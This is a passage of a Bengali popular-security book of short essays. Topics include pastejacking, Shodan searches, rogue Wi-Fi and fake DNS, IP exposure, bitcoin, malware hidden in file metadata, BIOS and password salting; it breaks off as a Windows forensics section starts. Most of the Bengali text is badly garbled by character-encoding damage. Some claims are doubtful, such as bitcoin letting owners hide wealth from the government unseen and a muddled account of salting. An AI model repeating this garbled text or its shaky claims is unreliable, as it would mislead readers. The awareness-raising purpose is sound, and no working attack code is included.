হেয়েছ। িক�, �সই �লখা copy করার পর Notepad এর মেধ� �সই 
�লখা paste করেল অন� �লখা paste হেয় যােব।

> https://security.love/Pastejacking/

# �িত িক?

এই  Pastejacking এর  মাধ�েম  আপিন  িকভােব  �িতর  �ীকার  হেত 
পােরন, জানেত চান?
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মেন  ক�ন-  আপনার  কি�উটাের  একিট  সমস�া  �দখা  িদেয়েছ।  আপনার 
মাথায়  �চুর  অি�রতা  কাজ  করেছ।  আপিন  ই�ারেনেট  �সই  সমস�ার 
সমাধান search করেছন। একিট ওেয়বসাইেট বলা আেছ-

>  িনেচ  �লখা  command  িট  কি�উটাের  run  করেলই  সমস�ার 
সমাধান হেয় যােব।

িক�,  ওেয়বসাইেট  �লখা  command িট  copy করেল  অন�  একিট 
�িতকর  কমা�  copy  হেয়  যােব।  এখন  আপিন  ওেয়বসাইট  �থেক 
command িট copy কের আপনার কি�উটাের paste করার পর 
�কানিকছু না �দেখই run কের িদেলন!

ফলাফল-  �িতকর  command  িট  run  হেব।  এর  মাধ�েম  �সই 
ওেয়বসাইেটর  মািলক  আপনার  কি�উটােরর  অসংখ�  information 
�পেয় �যেত পাের িকংবা, হ�াক করার জন� backdoor -ও �তির কের 
িদেত পাের।

তাই, এখন �থেক Pastejacking এর কথা মেন রাখেবন, �কমন? আর 
হ�াঁ,  ঈেদর  আেগ  আর  �কান  post  িদেত  পারিছ  না।  তেতািদন  পয�� 
আপনারা সবাই সু� থাকুন, িনরাপদ থাকুন। ধন�বাদ।

───────────────
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Shodan 

িডভাইস হ�ািকং

বাংলােদেশর  কয়িট  কি�উটাের  Windows ব�াবহার  করা  হে�,  �সটা 
আপিন **Shodan** সাচ� ইি�েন search কেরই জানেত পারেবন। 
�ধু Windows না বরং, �যেকান অপােরিটং িসে�ম িকংবা, ওেয়ব সাভ�ার 
�থেক �� কের CC ক�ােমরা এবং ই�ারেনেট যু� িডভাইেসর স�ান করা 
স�ব। 

�যমন  ধ�ন-  বত�মােন  বাংলােদেশর  কয়িট  কি�উটাের  Windows 
ব�াবহার করা হে�, �সটা জানেত Shodan -এ িনেচর query িলেখ সাচ� 
করেত হেব- os:"windows" country:BD

এছাড়াও  আরও  অেনক  তথ�  খুঁেজ  �বর  করা  স�ব  Shodan ব�াবহার 
কের। কারন, ই�ারেনেটর সােথ সংযু� িডভাইস�েলা িনয়িমত scan করা 
হে�!

───────────────
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ি� ওয়াই-ফাই

বত�মােন অেনক �ােন ি� ওয়াই-ফাই থােক। এসব ি� ওয়াই-ফাই ব�াবহার 
করা অেনক সময় িবপদজনক হেত পাের। মেন ক�ন- আপিন একজেনর 
ওয়াই-ফাই  ব�াবহার  করেছন।  আপিন  যখনই  �কান  ওেয়বসাইেট  �েবশ 
করেত  চাইেবন,  তখনই  DNS  সাভ�ার  �থেক  ওেয়ব  �াউজার  �সই 
ওেয়বসাইেটর  আইিপ  এে�স  খুঁেজ  �বর  করেব।  িক�,  মেন  ক�ন 
ওয়াই-ফাই রাউটােরর মািলক তার িনেজর কি�উটােরর আইিপ এে�সেক 
DNS সাভ�ার িহেসেব set কের �রেখেছ। তাই, এখন যিদ আপিন �কান 
ওেয়বসাইেট �েবশ করেত চান, তখন ওয়াই-ফাই মািলেকর আইিপ এে�স 
িদেয়  �সই  ওেয়বসাইেটর  আইিপ  এে�স  খুঁেজ  �বর  করা  হেব।  িক�, 
ওয়াই-ফাই মািলক তার িনেজর আইিপ এে�েস �ফসবুেকর মেতা �দখেত 
নকল  ওেয়বসাইট  চালু  (host)  কের  �রেখেছ  এবং  রাউটাের  এমন 
Settings  কের  �রেখেছ  �য,  তার  রাউটার  ব�াবহার  কের  �কউ  যিদ 
�ফসবুেক �েবশ করেত চায় তখন, তার বানােনা নকল �ফসবুেক �েবশ হেয় 
যােব। তাই, আপিন যখন তার ওয়াই-ফাই ব�াবহার কের �ফসবুেক �েবশ 
করেবন, তখন মূলত তার নকল �ফসবুেক �েবশ করেবন। তাই, �সখােন 
আপিন  �ফসবুেকর  পাসওয়াড�  িলখেল  পাসওয়াড�  চেল  যােব  ওয়াই-ফাই 
মািলেকর কােছ।

────
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িবেয়  বািড়েত  সব  আ�ীয়-�জন  একসােথ  হওয়ার  মজাই  আলাদা।  আর, 
িবেয় বািড়েত ওয়াই-ফাই থাকেল �তা কথাই �নই! ি� ই�ারেনট ব�াবহার 
করার মজাই আলাদা। িক�, তাই বেল সব জায়গার ি� ই�ারেনট �মােটও 
ভােলা  না।  আপিন  যিদ  �কান  �হােটেলর  ি�  ওয়াই-ফাই  ব�াবহার  কেরন 
তাহেল িবপেদ পড়েত পােরন। এর মেধ� একিট িবপদ হে� honeypot 
এর িবপদ। আপিন িক জােনন, honeypot িক? চলুন, �জেন �নই-

যখন  আমরা  �মাবাইেল  WiFi  চালু  কির,  তখন  অেনক  ওয়াই-ফাই 
রাউটােরর নাম �দখা যায়। এরপর একিট রাউটােরর নােম ি�ক কের �সই 
রাউটাের connect হেত হয়। �তা, ধরা যাক আপিন একিট �হােটেলর ি� 
ওয়াই-ফাই ব�াবহার করেত চাে�ন। তাই, আপিন �মাবাইেলর WiFi চালু 
কের  �হােটেলর  নােমর  রাউটাের  ি�ক  কের  connect  হেবন।  িক�, 
এমনও �তা হেত পাের �য, �হােটেলর আেশপােশ একজন হ�াকার রেয়েছ। 
�সই  হ�াকার  িনেজর  রাউটােরর  নাম  িদেয়েছ  �সই  �হােটেলর  রাউটােরর 
নােমর অনু�প। অথ�াৎ, �হােটেলর রাউটােরর নাম 'Hotel Taj' হেল �সই 
হ�াকােরর  রাউটােরর  নামও  'Hotel Taj'।  আপিন  যখন  'Hotel Taj' 
নােমর রাউটাের connect হেবন তখন �সটা যিদ হ�াকােরর রাউটার হেয় 
থােক  তাহেলই  �সই  হ�াকার  আপনার  অেনক  তথ�  সং�হ  করেত  পারেব। 
তাই, ি� ওয়াই-ফাই ব�াবহােরর ��ে� সেচতন থাকা একা� জ�ির।

────────────
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IP �জেন িক িক করা যায়

হ�াকার আপনার আইিপ এে�স জানেল িক িক করেত স�ম? আ�া বলুন 
�তা- আইিপ এে�স িক� পাসওয়ােড�র মেতা �গাপন িকছু না; তারপেরও, 
অেনেকই তােদর আইিপ এে�স �গাপন রাখেত চায়; এমনিক �সজন� টাকা 
িদেয় VPN ব�াবহার করেতও কু�ােবাধ কের না। িক�, �কন?

উ�র-  আপনার  আইিপ  এে�স  জানেল  অেনক  িকছুই  করা  স�ব।  যিদও, 
৫/৭ বছর আেগ অেনেকই বলেতন- আইিপ এে�স জানার মাধ�েম �তমন 
িকছুই  করা  স�ব  না।  িক�,  আজেকর  অত�াধুিনক  �যুি�র  িবে�  অেনক 
িকছুই করা স�ব। তাহেল চলুন, �জেন �নই- আপনার আইিপ এে�স জানেল 
খারাপ হ�াকাররা িক িক করেত পারেব।

আইিপ এে�স হেত পাের-

* আপনার পােস�ানাল কি�উটােরর,

* আপনার ওেয়বসাইেটর।

আমােদর  �মাবাইল,  কি�উটার  ইত�ািদ  িডভাইেসর  আইিপ  এে�স  িকছু 
সময় পর পর পিরবত�ন হয়। িক�, ওেয়বসাইেটর আইিপ এে�স পিরবত�ন 
হয় না। তাই, ওেয়বসাইেটর আইিপ এে�স �জেন িনেয় �সই ওেয়বসাইেট 
�কউ  �যেনা  **DDoS**  আ�মণ  করেত  না  পাের,  �সজন� 
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Cloudflare ব�াবহার করা হয়। এর মাধ�েম ওেয়বসাইেটর মূল আইিপ 
এে�স (origin IP) �গাপন থােক। িক�, �ভেব �দখুন- ওেয়বসাইেটর মুল 
আইিপ এে�স জানেত পারেল ওেয়বসাইেট **DDoS** আ�মণ কের 
কেতাটা �িত করা স�ব!

আপনার  পােস�ানাল  কি�উটােরর  আইিপ  এে�স  জানেলও  িক�  অেনক 
িকছুই করা স�ব। �থমেতা, আপনার আইিপ এে�স scan করার মাধ�েম 
আপনার িডভাইেসর vulnerability �জেন �নওয়া স�ব। এছাড়া আপনার 
বত�মান location জানেত এবং আপনােক track করেতও আইিপ এে�স 
ব�াবহার  করা  যােব।  এমনিক  আপনার  ই�ারেনট  �াধীনতা  হরণ  করেতও 
আপনার আইিপ এে�স �জেন িনেয়, �সই আইিপ এে�সেক িবিভ� সািভ�স 
�থেক  block কের  �দওয়া  স�ব।  আবার,  একিট  রাউটার  ব�াবহার  কের 
আপনার ই�ারেনেটর packet capture করাও স�ব। আর, বত�মােন 
সাইবার  অপরাধীরা  কি�উটার  হ�াক  করার  পর  �সসব  কি�উটার  িদেয় 
**botnet** �তির করেছ এবং command িদেয় control করেছ। 
আইিপ এে�স জানার মাধ�েমই এটা স�ব হে�।

আপিন হয়েতা �জেন অবাক হেবন- �িতিনয়ত সারা িবে�র আইিপ এে�স 
�েলা  scan  করা  হে�।  তাই,  সাইবার  অপরাধীরা  যখন  �কান  নতুন 
vulnerability  -র  স�ান  পায়,  তখন  আইিপ  এে�স  scan  করার 
মাধ�েমই �সই vulnerability যু� িডভাইস�েলা খুঁেজ �বর কের এবং 
আ�মণ  কের।  আর,  FTP িকংবা,  SSH এর  মেতা  সািভ�েসর  মাধ�েম 
আপনার  কি�উটাের  connect হেতও  আইিপ  এে�েসর  �েয়াজন  হয়। 
আর, একটু �রামা�কর ক�নার জগেত িগেয় িচ�া কের �দখুন- পৃিথবীর 
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শি�শালী  হ�াকার  �প  এককজনেক  আ�মণ  করেছ;  এমন  সময়  যােক 
আ�মণ  করা  হে�,  তার  আইিপ  এে�স  পিরবত�ন  হেয়  �গেলা  এবং  �সই 
আইিপ এে�সিট আপনার আইিপ এে�স িহেসেব set হেয় �গেলা। তখন 
িক�  আ�মণটা  আপনার  িডভাইেসই  আসেব।  যিদও,  এটা  অেনকটা 
কাকতালীয়।

�কউ  আপনার  আইিপ  এে�স  জানেলই  �য  আপনার  িডভাইস  হ�াক  হেয় 
যােব,  এমনটা  বলিছ  না।  তেব,  আইিপ  এে�স  জানার  মাধ�েম  আপনার 
privacy অ�  হেলও  �াস  পােব।  আর,  vulnerability  -র  কারেণ 
হ�াক হেয়ও �যেত পােরন। যারা আইিপ এে�স �গাপন করােক একদমই তু� 
মেন কেরন, তােদর জন�ই আমার এই �লখা। 

────────────
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হ�াকাররা �যসব �গইম �খেল

আজেক �াম �থেক শহর সব জায়গােতই Free Fire �খলেত �দখা যায়। 
হ�াকাররাও  game �খেল  িক�,  হ�াকারেদর  game একদম  আলাদা। 
হ�াকারেদর  game  হে�  হ�াক  করার  game।  এই  �যমন- 
hackthebox  ওেয়বসাইেট  হ�াকাররা  game  �খেল।  �সখােন 
ই�ারেনেট সংযু� িবিভ� কি�উটার �দওয়া থাকেব। �স�েলা হ�াক করেত 
পারেলই আপিন win হেবন। 

মজার  িবষয়  হে�-  এই  ওেয়বসাইেট  sign  up  করার  জেন�ও  এই 
ওেয়বসাইট  �থেক  invitation code হ�াক  কের  �সই  code িদেয় 
sign up করেত হয়।

─────────
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িবটকেয়ন

সাইবার �িণ�ঝড়

আমার �তা অেনক স�দ! িক�, এেতা স�েদর িহসাব সরকারেক িদেত 
যােবা �কেনা? সরকােরর কােছ আমার স�েদর তািলকা লুকােতই হেব। এর 
জন� এমন একিট একাউ� �েয়াজন- �যই একাউে� আমার �কািট �কািট 
টাকা  থাকেব  িক�,  �কউ  জানেতই  পারেব  না  �য,  এটা  আমার  একাউ�। 
সবিকছু থাকেব �গাপেন, সরকােরর ধরা-�ছাঁয়ার বািহের।

উপের  উি�িখত  িচ�া-�চতনা  �থেকই  িবটকেয়ন  এর  সৃি�  না  হেলও,  এই 
ধরেনর সুেযাগ থাকার ফেলই মাথা চাড়া িদেয় উঠেছ িবটকেয়ন।

িবটকেয়ন

আমরা  ATM  কােড�  টাকা  সংর�ণ  কির,  �সই  টাকা  ধরা  যায়  না। 
�কবলমা�,  ইেলক�িনক  িডভাইেসর  মাধ�েমই  �সই  টাকার  িহসাব  থােক। 
যিদও, �সই ATM এর মু�া (টাকা) বাংলােদশ সরকার �ারা অনুেমািদত।

িক�, িবটকেয়ন হে� এমন এক ইেলক�িনক মু�া ব�ব�া-
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* এিট �কান রাে�র �ারা পিরচািলত মু�া ব�ব�া না। �ফসবুেক একাউ� 
�খালার  মেতাই  একিট  একাউ�  খুলেল  �পেয়  যােবন  আপনার  িবটকেয়ন 
একাউ�। ��েত আপনার একাউে�র ব�াল�া� থাকেব শূন�।

* �শাসিনক ভােব সরকার বা, ব�াংক আপনার স�েদর িহসাব িনেত পাের। 
িক�,  িবটকেয়েন  আপনার  �কািট  টাকার  সমপিরমাণ  িবটকেয়ন  থাকেলও 
কাউেকই িহসাব িদেত হেব না। এমনিক, �কউ জানেবই না- এটা আপনার 
একাউ�।

িবটকেয়ন িদেয় �বকার� দূর করা

িবটকেয়েনর একাউ� �থেক যখন িবটকেয়ন আদান-�দান করা হয়, তখন 
�সই  আদান-�দানেক  confirm  করার  জন�  িকছু 
**computational  problem**  সমাধান  করেত  হয়।  িক�, 
িবটকেয়েনর �তা �কান সরকার বা �িত�ান �নই। তাই, িকছু মানুষ িনেজ 
�থেকই তােদর কি�উটার িদেয় এই কাজ কের থােক। িবিনমেয় তারা িনিদ�� 
পিরমাণ িবটকেয়ন �পেয় থােকন। এই কাজেক িবটকেয়ন **mining** 
বলা  হয়।  এভােব  ���ায়  িবটকেয়ন  **mining**  কের  অেনেকই 
িবটকেয়ন উপাজ�ন করেছন। যিদও অেনক সাইবার অপরাধী এই িবটকেয়ন 
**mining** করার জন� অেন�র কি�উটার হ�াক কের। এরপর �সই 
হ�াক  করা  কি�উটার  িদেয়  **mining**  করার  কাজ  কের।  আবার, 
হ�াকাররা  হ�াক  করার  পর  মুি�পণ  িহেসেব  টাকা  চাইেতও  িবটকেয়ন 
ব�াবহার কের, যােত কের তােদর পিরচয় �গাপন থােক।
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িবটকেয়েনর ভিবষ�ৎ

িবটকেয়ন এর মেতা অেনক crypto currency চেল এেসেছ। যিদও, 
**�বেদিশক  মু�া  আদান-�দান**  িবষয়ক  আইেনর  দৃি�েত  িবটকেয়ন 
ব�াবহার করা বাংলােদেশ অৈবধ। িক�, িবটকেয়ন ব�াবহার করেলও �যেহতু 
আপনার  পিরচয়  পাওয়া  যােব  না  তাই,  �দেশর  আইন  িক  �দেশর 
নাগিরকেদরেক  আটকােত  পারেছ?  এইেতা  ১  বছর  আেগ  **Jamuna 
TV** তােদর এক �িতেবদেন �দিখেয়িছেলা- �সই সময় বাংলােদেশর �ায় 
২/৩  লাখ  মানুষ  িবটকেয়েনর  সােথ  জিড়ত।  এমনিক  অেনকিদন  আেগই 
আপনােদরেক PayPal কােড� িবটকেয়েনর মেতা crypto currency 
ব�ব�া চালু হওয়ার কথা জািনেয়িছলাম।

সব িমিলেয়, িব� আজ সরকােরর ই�ায় বা, অিন�ায় িবটকেয়েনর িদেক 
ঝুঁেক যাে�। একজন মিহলা **OneCoin** িনেয় এেসিছেলা, মানুষেক 
�ধাঁকা িদেয় �সই মিহলা পািলেয় �গেলা। িবটকেয়ন একাউে�র মািলেকর 
অসতক�তায়  তােক  শনা�  করার  সুেযাগ  থাকায়  িবটকেয়েনর  সােথ 
�িতেযািগতা  করেত  **Monero**  আসেলা।  তবুও,  িবটকেয়ন  চলেছ 
তার  আপন  গিতেত।  আজেক  ১  িবটকেয়েনর  মূল�  �ায়  ৩৩  লাখ  টাকা। 
িবটকেয়ন  মূলত  সাইবার  জগেতর  ঘুিণ�ঝড়।  এই  ঝড়  থামােত  চাইেলও 
থামােনা যােব না।

─────────
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হ�াকাররা �যখােন data �কায়

একজন  হ�াকার  যখন  কাউেক  ম�ালওয়�ার  পাঠায়,  তখন  ম�ালওয়�ােরর 
code আলাদা  আলাদা  �ােন  িলেখ  পাঠায়।  কারণ,  স�ুণ�  ম�ালওয়�ার 
একসােথ  িলেখ  পাঠােল  এি�  ভাইরােসর  কােছ  হােত-নােত  ধরা  খােব। 
ম�ালওয়�ােরর code �কাথায়, িকভােব িলেখ রাখা হয়- তা িনেয়ই আজেক 
আেলাচনা করেবা।

আপিন িন�য়ই metadata স�ে� জােনন? Metadata হে�- একিট 
file এর সােথ �সই file স�িক�ত থাকা তথ�। �যমন-

* file িটর size,

* �লখার date,

* �লখক বা, user ইত�ািদ।

একজন হ�াকার খুব সহেজই এসব metadata -র �ােন ম�ালওয়�ােরর 
code িলেখ রাখেত পাের। ফেল, ম�ালওয়�ারিট যখন কি�উটাের পাঠােনা 
হেব, তখন ম�ালওয়�ারিট িনেজ �থেকই এসব metadata -র �ান �থেক 
ম�ালওয়�ােরর  code  �েলা  সং�হ  করেব  এবং  �স�েলা  run  করেব। 
এমনিক Google এর মেতা �াটফেম�র এক সাইেট ছিবর metadata 
-র সােথ XSS code যু� কের আ�মণ করার ঘটনাও ঘেটেছ।
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এছাড়া একিট ছিবর সােথ text যু� কের �দওয়ার প�িত স�ে�ও হয়েতা 
আপিন  জােনন।  এই  প�িতেক  steganography  বলা  হয়।  তাই, 
সাইবার  অপরাধীরা  অেনক  সময়  ছিবর  সােথ  ম�ালওয়�ােরর  code যু� 
কের  িদেয়,  ছিব�েলার  zip  file  বািনেয়  অেন�র  কি�উটাের  পাঠায়। 
এরপর  �সই  কি�উটাের  থাকা  �াথিমক  ম�ালওয়�ারিট  এসব  ছিব  �থেক 
ম�ালওয়�ােরর code �েলা �বর করার পর �স�েলােক run কের।

এছাড়াও আরও অসংখ� প�িতেত data লুকােনা �যেত পাের। তাই, একিট 
file ডাউনেলাড করার সময় িবষয়িট �খয়াল রাখেবন।

─────────
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কি�উটার হ�াং হওয়ার কারন

কি�উটাের  কাজ  করার  সময়  হঠাত  হ�াং  হেয়  যাওয়ার  অিভ�তা  হয়েতা 
আপনােদর সকেলরই হেয়েছ। যিদও, hang হওয়া, freez হওয়া এবং 
crash করার মেধ� পাথ�ক� আেছ। িক�, আমরা এই সব�েলা অব�ােকই 
হ�াং বেল উে�খ করিছ।

এখন চলুন- হ�াং হওয়ার িকছু কারন �জেন �নওয়া যাক।

# হ�াং হওয়ার কারন

কি�উটােরর হাড�ওয়�ার�েলা যখন �কান কাজ করেত চায়, তখন CPU বা, 
�েসসরেক  একিট  িসগন�াল  ��রণ  কের।  এই  িসগন�ালেক  interrupt 
signal বলা  হয়  এবং  এ�েলা  IRQ লাইেনর  মাধ�েম  �েসসেরর  কােছ 
যায়।

�েত�ক িডভাইেসর জন� আলাদা আলাদা IRQ থােক �যমন-

* IRQ 6,

* IRQ 7 ইত�ািদ।



───সাইবার জগেতর ওিপঠ by সাইফ 

137

িক�,  এমনও  হেত  পাের  �য,  ২  িট  িডভাইস  একই  IRQ  number 
ব�াবহার করেছ। এর ২ িট কারন হেত পাের-

* কি�উটাের একসােথ অসংখ� িডভাইস যু� করা।

* িডভাইস�েলা সিঠকভােব install না করা।

ফেল, ২ িট িডভাইস �যেহতু একই IRQ number ব�াবহার করেছ; তাই, 
একই  সােথ  ২  িট  িডভাইস  ব�াবহার  করেল  কি�উটার  হ�াং  (crash) 
করেব।

তেব, উপের �যরকম interrupt এর কথা জানেলন, কি�উটােরর BIOS 
বা,  firmware  �েলা  SMM  -এ  কাজ  করার  জেন�ও  �সরকম 
interrupt পাঠায়, যােক SMI বলা হয়। এই interrupt �েলার ১ িট 
যখন �েসসরেক পাঠােনা হয়, তখন ি�তীয় আেরকিট interrupt পাঠােনা 
হেলও  �থমিট  exit করার  আেগ  ি�তীয়িট  অেপ�া  করেত  থােক।  ফেল, 
আমার জানা মেত- এে�ে� একািধক interrupt হেলও হ�াং হয় না।

**কি�উটার হ�াং হওয়ার আরও িকছু কারণ-**

* কি�উটােরর হাড�ওয়�ােরর সামেথ��র তুলনায় অেনক �বিশ program 
একসােথ run করেল।

* BIOS settings পিরবত�ন করেলও অেনক সময় হ�াং হেত পাের।
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* কি�উটােরর system file �কান কারেণ  missing থাকেল।

এছাড়াও  আরও  অেনক  কারন  থাকেত  পাের।  �সে�ে�  মাথা  ঠা�া  �রেখ 
সমাধান করার �চ�া করেবন। সবাইেক ধন�বাদ।

─────────
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BIOS - কি�উটােরর বস

�ফসবুেকর post িচেনন িক�, কি�উটােরর POST িচেনন িক? BIOS 
এর আেলাচনায় আজেক এরকম অেনক িকছুই জানেবন।

BIOS: আপনার কি�উটার চালু করার পর কি�উটােরর control চেল 
যায়  BIOS এর  কােছ।  BIOS এর  মেধ�  কি�উটােরর  অিত  ���পূণ� 
settings এবং অিত ���পূণ� ��া�াম থােক, �য�েলা অিত �ব�নী রি� 
িদেয় মুেছ �ফলা স�ব। এই জেন�ই BIOS �যই ROM এর মেধ� থােক- 
�সটােক EPROM বলা হয়।

এখােন-  E হে�  erasable এর  সংি��  �প।  যার  অথ�-  মুেছ  �ফলার 
�যাগ�। P হে�  programmable এর সংি�� �প। যার অথ�- আপিন 
িবেশষ প�িতেত BIOS এর ��া�াম পিরবত�ন করেত পারেবন। তেব, এর 
ফেল BIOS এর update ডাউনেলাড করা �যমন স�ব হয়; �তমিনভােব 
হ�াকাররাও BIOS এর মেধ� �িতকর code িলেখ িদেত স�ম হয়।

# POST পরী�া

আপনার  কি�উটার  চালু  করেল  BIOS ��েতই  একিট  **POST** 
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পরী�া  চালােব।  POST  হে�  **power-on  self-test**  এর 
সংি�� �প। এই POST পরী�ার মাধ�েম যাচাই করা হয়- কি�উটার 
চালু (boot) -করার জন� জ�ির হাড�ওয়�ার ও সফটওয়�ার িঠকঠাক আেছ 
িকনা?  যিদ  সব  িঠক  থােক,  তাহেল  boot  loader  িদেয়  অপােরিটং 
িসে�ম  �যমনঃ  Windows,  Linux  ইত�ািদ  load  করা  হয়।  তখন 
আপিন �দখেত পারেবন- আপনার কি�উটার চালু হে�।

BIOS  আপনার  কি�উটােরর  ��া�াম  ও  হাড�ওয়�ােরর  মধ�কার 
ইনপুট/আউটপুট ব�ব�াপনার কাজ কের।

# জ�ির ��

অেনেক  ��  করেবন-  BIOS  �যভােব  সফটওয়�ার  এবং  হাড�ওয়�ােরর 
মধ�কার �সতু বা, ি�জ িহেসেব কাজ করেছ, অপােরিটং িসে�েমর kernel 
-ও �তা একইভােব সফটওয়�ার এবং হাড�ওয়�ােরর মধ�কার �সতু িহেসেব 
কাজ কের! তাহেল এেদর কােজর পাথ�ক� িক?

ভােলা ��। এটা �বাঝার জন� একিট সূ� মেন রাখেবন-

 BIOS আেগ, kernel পের।

মূলত, BIOS -ই kernel �ক load কের। আর, পাথ�ক� িহেসেব বলেত 
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�গেল-  BIOS আপনার  কি�উটােরর  সকল  হাড�ওয়�ার  স�ে�  খুঁিটনািট 
জােন  আর,  kernel �সই  তথ�  িনেয়ই  ব�ব�াপনার  কাজ  কের।  আপনার 
কি�উটাের যিদ ২ জন user থােক এবং ২ জন-ই যিদ একসােথ একিট 
text ফাইল  �লখােলিখ  কের  save করেত  যান,  তখন  BIOS হয়েতা 
হাড�-িডে�র �যখােন save করেত হেব- �সটার খুঁিটনািট জােন িক�, ২ জন 
user �ক একসােথ ব�ব�াপনা করেত পারেব না। �সে�ে� মূল ব�ব�াপনার 
কাজ  করেব  kernel।  আবার,  অেনক  সময়  BIOS িনেজ  �থেকই  িকছু 
কােজর দািয়� অন�েক িদেয় থােক। �যমনঃ **POST** পরী�ার সময় 
BIOS এর video সং�া� কাজ অন� িডভাইসেক �দওয়া হয়।

BIOS হে� কি�উটােরর বস। কি�উটােরর চল� অব�ােতই হাড�ওয়�ার 
সংযু�  করেল  �সটার  তথ�-ও  BIOS  এর  জানা  থােক।  �সইসােথ, 
কি�উটােরর অপােরিটং িসে�ম িকংবা, kernel ন� হেয় �গেলও BIOS 
এর  মাধ�েমই  আপনার  কি�উটােরর  হাড�ওয়�ারেক  access  করেত 
পারেবন। �সজন� কি�উটার চালু করার পর DELETE বাটন ��স করেত 
হেব (িকংবা, কি�উটােরর �কা�ািন �ভেদ আলাদা key ��স করেত হেত 
পাের)।  যিদও,  অেনক  সময়  BIOS এর  মেধ�ও  error আসেত  পাের। 
তেব, �স�েলা সাধারণত BIOS আপেডট করার সময় ভুল হওয়ার কারেন 
িকংবা, অন� কারেণ হেয় থােক। �যমনঃ �কউ যিদ ২/১ িট িভিডও �দেখই 
BIOS হ�াক করেত িগেয় �কাথাও ভুল কের �ফেল, তাহেলই BIOS আর 
কাজ করেব না।

যাই �হাক, অনলাইেন BIOS স�ে� পুরেনা আিট�েকল পড়েল �দখা যায়- 
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BIOS  এর  িসিকউিরিট  তুলনামূলক  কম।  যিদও,  বত�মােন 
কি�উটার�েলােত BIOS এর পিরবেত� UEFI ব�াবহার করা হে�। িক�, 
তারপরও  BIOS কি�উটার  ব�াবহারকারীর  সংখ�া  অেনক।  িঠক  �যমন 
এ�েয়েডর  ভাস�ন  10 আসার  পেরও  আেগর  ভাস�ন�েলা  অেনক  মানুষই 
ব�াবহার করেছ।

উপেরর  �লখা�েলা  বুেঝ  থাকেল  BIOS স�ে�  উঁচু  �লেভেলর  আিট�েকল 
পেড়ও বুঝেত পারেবন, আশা কির। সবাই সাইবার জগেত উ�ত হেয় গেড় 
উঠুন, িনরাপদ থাকুন।

─────────
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 পাসওয়াড� িনরাপ�ায় লবন 

123456 িক সিত�ই �ব�ল পাসওয়াড�?

অেনক  আেগ  �থেকই  পাসওয়াড�  salting বা,  পাসওয়ােড�  লবণ  �েয়াগ 
প�িত চেল আসেছ।

পাসওয়াড�  salting  হে�-  আপনার  �দওয়া  পাসওয়ােড�র  ��েত 
ওেয়বসাইট িনেজ �থেকই আরও িকছু িলেখ িদেব। এর প�িত হে�-

* মেন ক�ন- আপিন একাউ� create করার সময় পাসওয়াড� িহেসেব 
িলখেলন- **P@ssw*rd**।

*  �সই  পাসওয়ােড�র  ��েত  ওেয়বসাইেটর  প�  �থেক  **xyz**  িলেখ 
�দওয়া  হেলা।  ফেল,  এখন  আপনার  পাসওয়ােড�র  বত�মান  �প  হেব- 
**xyzP@ssw*rd**।

* এখন এই **xyzP@ssw*rd** এর hash �বর করা হেব। অথ�াৎ, 
িকছু ��া�ািমং ফাংশেনর মাধ�েম আপনার পাসওয়াড�েক হ-য-ব-র-ল �েপ 
িনেয়  যাওয়া  হেব।  �যমন-  আপনার  xyzP@ssw*rd  পাসওয়াড�িটেক 
hash  করেল  হেব 
d6cd17e9e30ea5ab2b9c49edb48b04ef 
(উদাহরণ��প)।

*  পাসওয়ােড�র  এই  hash -�ক  ওেয়বসাইেটর  ডাটােবেজ  সংর�ণ  করা 



───সাইবার জগেতর ওিপঠ by সাইফ 

144

হেব।  পরবত�ীেত  আপিন  যখন  login  করার  জন�  পাসওয়াড�  িহেসেব 
P@ssw*rd িলখেবন,  তখন  আপনার  �লখা  এই  পাসওয়ােড�র  ��েত 
xyz যু� কের, �সই পাসওয়ােড�র hash �বর করার পর, �সই hash 
যিদ ওেয়বসাইেট সংরি�ত hash এর সােথ িমেল যায়, তাহেলই login 
হেব।

পাসওয়াড� salting �কেনা ব�াবহার করা হয়?

উ�রঃ  আপিন  যখন  login  করার  জন�  পাসওয়াড�  িলেখন,  তখন 
ওেয়বসাইেটর ডাটােবেজ থাকা পাসওয়ােড�র সােথ িমিলেয় �দখা হয়- �সটা 
সিঠক িকনা। SQL ল�া�ুেয়জ ব�াবহার কের ডাটােবেজর পাসওয়াড� জানেত 
হয়।  অেনক  সময়  এই  SQL  ল�া�ুেয়জ  ব�াবহার  কের  হ�াকাররা 
ওেয়বসাইেটর  ডাটােবেজ  সংরি�ত  সকল  পাসওয়াড�  হাঁিতেয়  িনেত 
(exfiltrate  করেত)  স�ম  হয়।  িক�,  ওেয়বসাইট  যিদ  পাসওয়াড� 
salting  ব�াবহার  কের,  তাহেল  SQL  এর  মাধ�েম  ডাটােবজ  �থেক 
পাসওয়ােড�র  hash হ�াক  করেলও  হ�াকার  আপনার  পাসওয়াড�  জানেত 
পারেব না। কারন পাসওয়ােড�র �কা� অংশ আপনার �দওয়া পাসওয়াড� আর, 
�কা� অংশ ওেয়বসাইেটর প� �থেক যু� কের �দওয়া হেয়েছ- �সটা হ�াকার 
জােন না। ফেল, কারও পাসওয়াড� যিদ 123456 হয় এবং হ�াকার যিদ 
িনেজ  �থেক  123456 এর  hash �বর  কের  �সই  পাসওয়ােড�র  সােথ 
িমলােত চায়, তাহেলও িমলেব না। কারন, 123456 পাসওয়ােড�র ��েত 
ওেয়বসাইট �থেক আরও িকছু িলেখ �দওয়া হেয়েছ।
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িক�,  মেন  ক�ন-  একিট  ওেয়বসাইেট  হাজার  হাজার  মানুষ  login করা 
আেছন। �সই ওেয়বসাইেট যিদ একিট salt একািধক পাসওয়ােড�র ��েত 
ব�াবহার  করা  হয়,  তাহেল  হ�াকার  �থেম  �দখেব-  ওেয়বসাইট  হ�াকােরর 
পাসওয়ােড�র  ��েত  িক  যু�  কের  িদেয়েছ।  এরপর  �সই  salt ব�াবহার 
কের �যসব পাসওয়াড� ডাটােবেজ সংর�ণ করা হেয়েছ, �সসকল পাসওয়াড� 
হ�াকার সহেজই �জেন যােব।

আর,  আপিন  যিদ  phishing  ওেয়বসাইেট  আপনার  পাসওয়াড�  িলেখ 
�ফেলন, তাহেলও পাসওয়াড� salting আপনার �কান উপকাের আসেব না।

────────────
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Windows | হ�াক | ��-উ�র

মৃতেদহ গেবষণা কেরই forensic িবেশষ�রা বেল �দয়- �লাকিট কত�ণ 
আেগ মারা িগেয়েছ। এই গেবষণার জন� �যমনটা ত�গত �ােনর �েয়াজন 
হয়,  �তমিনই  �েয়াজন  হয়-  অিভ�তা।  কি�উটার  হ�াক  হেলও 
কি�উটােরর forensic গেবষণায় ত�গত �ােনর পাশাপািশ অিভ�তার 
�েয়াজন  হয়।  �সই  অিভ�তা  �থেকই  আজেক  Windows কি�উটার 
